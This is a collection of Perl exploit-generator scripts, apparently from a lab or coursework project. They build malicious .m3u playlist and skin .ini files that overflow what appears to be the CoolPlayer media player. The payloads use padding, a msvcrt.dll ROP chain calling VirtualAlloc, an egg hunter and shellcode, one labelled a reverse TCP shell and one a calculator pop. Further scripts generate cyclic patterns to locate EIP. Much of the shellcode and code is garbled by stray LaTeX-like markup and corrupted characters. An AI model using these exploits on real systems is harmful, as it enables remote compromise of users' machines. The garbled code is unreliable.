my \$file= "ropEggHunter.m3u"; # File name my \$junk = "\x41" x 224; # Num bytes of padding to add #~=ROP CHAIN=~ \$eip .= pack('V', 0x77c11110): # RETN // START ROP CHAIN \$rop .= pack('V', 0x77c20807): # POP EBP # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c20807); # skip 4 bytes [msvcrt.dll] \$rop .= pack('V', 0x77c461bb); # POP EBX # RETN [msvcrt.dll] \$rop .= pack('V', 0xffffffff); # \$rop .= pack('V', 0x77c127e5); # INC EBX # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c127e5); # INC EBX # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c34fcd); # POP EAX # RETN [msvcrt.dll] \$rop .= pack('V', 0x2cfe1467); # put delta into eax (-> put 0x00001000 into edx) \$rop .= pack('V', 0x77c4eb80); # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c58fbc); # XCHG EAX, EDX # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c4e392); # POP EAX # RETN [msvcrt.dll] \$rop .= pack('V', 0x2cfe04a7); # put delta into eax (-> put 0x00000040 into ecx) \$rop = pack('V', 0x77c4eb80); # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c13ffd); # XCHG EAX,ECX # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c23b47); # POP EDI # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c47a42); # RETN (ROP NOP) [msvcrt.dll] \$rop .= pack('V', 0x77c3a184); # POP ESI # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c2aacc); # JMP [EAX] [msvcrt.dll] \$rop .= pack('V', 0x77c4debf); # POP EAX # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c1110c); # ptr to &VirtualAlloc() [IAT msvcrt.dll] \$rop .= pack('V', 0x77c12df9); # PUSHAD # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c354b4); # ptr to 'push esp # ret ' [msvcrt.dll] my $nops = "\x90" x 4;$ # NOPS to prevent crashes my $tag = \sqrt{x77}x30x30x74$; # This is the tag "w00t" # The Hunter part of the Egg Hunter tag . "x8bxfaxafx75xeaxafx75xe7xffxe7";my $padding = "\x90" x (1 + (280 - length (<math>sink.seip.srop.snops.shunter)));$ my \$egg = # The Egg: reverse tcp shell (317 Bytes) $\label{eq:label_$ $\label{eq:label_state_$ $\label{eq:constraint} $$ \x64 xcc x3c xca x2c x46 x30 xc3 x43 xef xfe x35 x6d". $$$ $\label{eq:lass} $$ \xf0\xcf\xf9\x21\x32\x4e\x86\x3b\x67\xb0\xb7\xf3\x7a\xb1".$ $\label{eq:constraint} $$\xf0\xee\x75\xe3\xa9\x65\x27\x13\xdd\x38\xf4\x12\x31\x37".$ $\label{eq:lass} $$ \x44\x6c\x34\x88\x31\xc6\x37\xd9\xea\x5d\x7f\xc1\x81\x39".$ $\label{eq:label_solution} $$ \x46\x5a\x9c\xbb\xe3\xa8\x56\x3a\x22\xe1\x97\x0c".$ $\label{eq:condition} \label{eq:condition} \label{condition} \lab$ $\label{eq:constraint} $$ \x33\xc5\xeb\x43\xc2\x0a\x80\x78\x4f\xad\x47\x09\x0b\x89".$ $\label{eq:constraint} $$ \x43\x51\x6b\x4d\x02\x3f\xbe\xcd\x05\xe7\x1f\x6b\x4d\x0a".$ $\label{eq:constraint} $$ \x4b\x0d\x0c\x43\xb8\x23\xaf\x93\xd6\x34\xdc\xa1\x79\xee".$ $\label{eq:label_star} $$ \x4a\x8a\xf2\x2b\x8c\xed\x2b\x8c\x02\x10\xd3\xec\x0b\xd7".$ $\label{eq:label} $$ \x87\xbc\x23\xfe\x37\x57\xb4\xff\x7d\xf7\xe4\xaf\x2d\xb7".$ $\label{eq:solution} $$ \x54\x10\x9e\x5f\xbf\x9f\xc1\x7f\xc0\x75\x6a\x15\x3a\x1e".$ $\label{eq:stable} $$ \frac{x55}x41x45}xafx3dx93x46x5exe2x1axa0x0ax0ax4a". $$$ $\label{eq:constraint} $$ \x7a\x63\x63\x67\x60\x52\x3b\xc2\x7c\x54\x67\x60\x81\x1b".$ $\label{eq:constraint} $$ \x30\x8d\x91\xcc\xb0\xd8\xc8\x5b\xce\xf7\x67\x64\x5a\xf3".$ $x^{21}x^{3}x^{14}x^{3}x^{3}x^{14}x^{3}x^{3}x^{14}x^{3}x^{14}x^{1$ $\label{eq:solution} $$\x99\x76\xbd\x78\xcf\x1c\xbd\x10\xb7\x44\xee\x05\xb8\x51".$ x82x95x2dx59xf3x4axe5x31xf9xb5xc1x9ex02x90.

 $[\]label{eq:constraint} $$\xd3\xd4\xdd\x51\x15\x53\x0e\x9a";$

open(\$FILE,">\$file");

Open file name as write (create it if no exist)

Write padding, EIP, calc shellcode to file print \$FILE \$junk.\$eip.\$rop.\$nops.\$hunter.\$padding.\$tag.\$tag.\$tag.\$egg; close(\$FILE); # Save & close file

~=File: finalExploitFiles/ropSkinCrashGen.pl=~

my \$padding = "\x41" x 484 ;# Pad with 484 A's

#~=ROP CHAIN=~ \$eip .= pack('V', 0x77c11110); # RETN // START ROP CHAIN \$rop .= pack('V', 0x77c20807); # POP EBP # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c20807); # skip 4 bytes [msvcrt.dll] \$rop .= pack('V', 0x77c461bb); # POP EBX # RETN [msvcrt.dll] \$rop .= pack('V', 0xffffffff); # \$rop .= pack('V', 0x77c127e5); # INC EBX # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c127e5); # INC EBX # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c34fcd); # POP EAX # RETN [msvcrt.dll] \$rop .= pack('V', 0x2cfe1467); # put delta into eax (-> put 0x00001000 into edx) \$rop .= pack('V', 0x77c4eb80); # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c58fbc); # XCHG EAX, EDX # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c4e392); # POP EAX # RETN [msvcrt.dll] \$rop .= pack('V', 0x2cfe04a7); # put delta into eax (-> put 0x00000040 into ecx) \$rop .= pack('V', 0x77c4eb80); # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c13ffd); # XCHG EAX,ECX # RETN [msvcrt.dll] \$rop .= pack('V'. 0x77c23b47): # POP EDI # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c47a42); # RETN (ROP NOP) [msvcrt.dll] \$rop .= pack('V', 0x77c3a184); # POP ESI # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c2aacc); # JMP [EAX] [msvcrt.dll] \$rop .= pack('V', 0x77c4debf); # POP EAX # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c1110c); # ptr to &VirtualAlloc() [IAT msvcrt.dll] \$rop .= pack('V', 0x77c12df9); # PUSHAD # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c354b4); # ptr to 'push esp # ret ' [msvcrt.dll]

my $nops = "\x90" x 4;$ # Nops

open(\$FILE, ">\$file"); # Open file as write # Write payload to file print \$FILE \$header.\$padding.\$eip.\$rop.\$nops.\$shellcode; close(\$FILE); # Close file

~=File: finalExploitFiles/ropTestGen.pl=~

my \$file= "ropTest.m3u";	# File name
my $junk = \sqrt{x41} x 224;$	# Num bytes of padding to add

#~=ROP CHAIN=~

\$eip .= pack('V', 0x77c11110): # RETN // START ROP CHAIN \$rop .= pack('V', 0x77c20807); # POP EBP # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c20807); # skip 4 bytes [msvcrt.dll] \$rop .= pack('V', 0x77c461bb); # POP EBX # RETN [msvcrt.dll] \$rop .= pack('V', 0xffffffff); # \$rop .= pack('V', 0x77c127e5); # INC EBX # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c127e5); # INC EBX # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c34fcd); # POP EAX # RETN [msvcrt.dll] \$rop .= pack('V', 0x2cfe1467); # put delta into eax (-> put 0x00001000 into edx) \$rop = pack('V', 0x77c4eb80); #ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c58fbc); # XCHG EAX, EDX # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c4e392); # POP EAX # RETN [msvcrt.dll] \$rop .= pack('V', 0x2cfe04a7); # put delta into eax (-> put 0x00000040 into ecx) \$rop .= pack('V', 0x77c4eb80); # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c13ffd); # XCHG EAX,ECX # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c23b47); # POP EDI # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c47a42); # RETN (ROP NOP) [msvcrt.dll] \$rop .= pack('V', 0x77c3a184); # POP ESI # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c2aacc); # JMP [EAX] [msvcrt.dll] \$rop .= pack('V', 0x77c4debf); # POP EAX # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c1110c); # ptr to &VirtualAlloc() [IAT msvcrt.dll] \$rop .= pack('V', 0x77c12df9); # PUSHAD # RETN [msvcrt.dll] \$rop .= pack('V', 0x77c354b4); # ptr to 'push esp # ret ' [msvcrt.dll]

my $nops = "\x90" x 4;$

\$shellcode .= # Calculator shellcode

```
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1".
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30".
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa".
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96".
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x66".
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a".
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a".
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83".
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98".
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xf2\x61".
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05".
"\x7f\xe8\x7b\xca";
```

open(\$FILE,">\$file");
print \$FILE \$junk.\$eip.\$rop.\$nops.\$shellcode;
close(\$FILE);

Open file name as write (create it if no exist)
Write padding, EIP, calc shellcode to file
Save & close file

~=File: finalExploitFiles/SkinDistToEIP.pl=~

my \$file="skinDistToEip.ini";

File name

my \$header = "[CoolPlayer Skin]\nPlaylistSkin=";# File Header

2500 pattern from earlier my \$junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9A 3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4 Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4A Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4 6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9 b1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2 h5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8 Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn 9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr 4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3C x4Cx5Cx6Cx7Cx8Cx9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2D"; open(\$FILE, ">\$file"); # Open file as write

print \$FILE, >\$file }; # Open file as write print \$FILE \$header.\$junk; # write header, pattern to file close(\$FILE); # close file

~=File: finalExploitFiles/SkinDistToEnd.pl=~

my \$file="skinDistToEnd.ini";

File name

my \$header = "[CoolPlayer Skin]\nPlaylistSkin=";# File Header

my \$junk = "A" x 32000;	#~Zipped Size of original super mario
open(\$FILE, ">\$file");	# Open file as write
print \$FILE \$header.\$junk;	# write header, pattern to file

close(\$FILE);

close file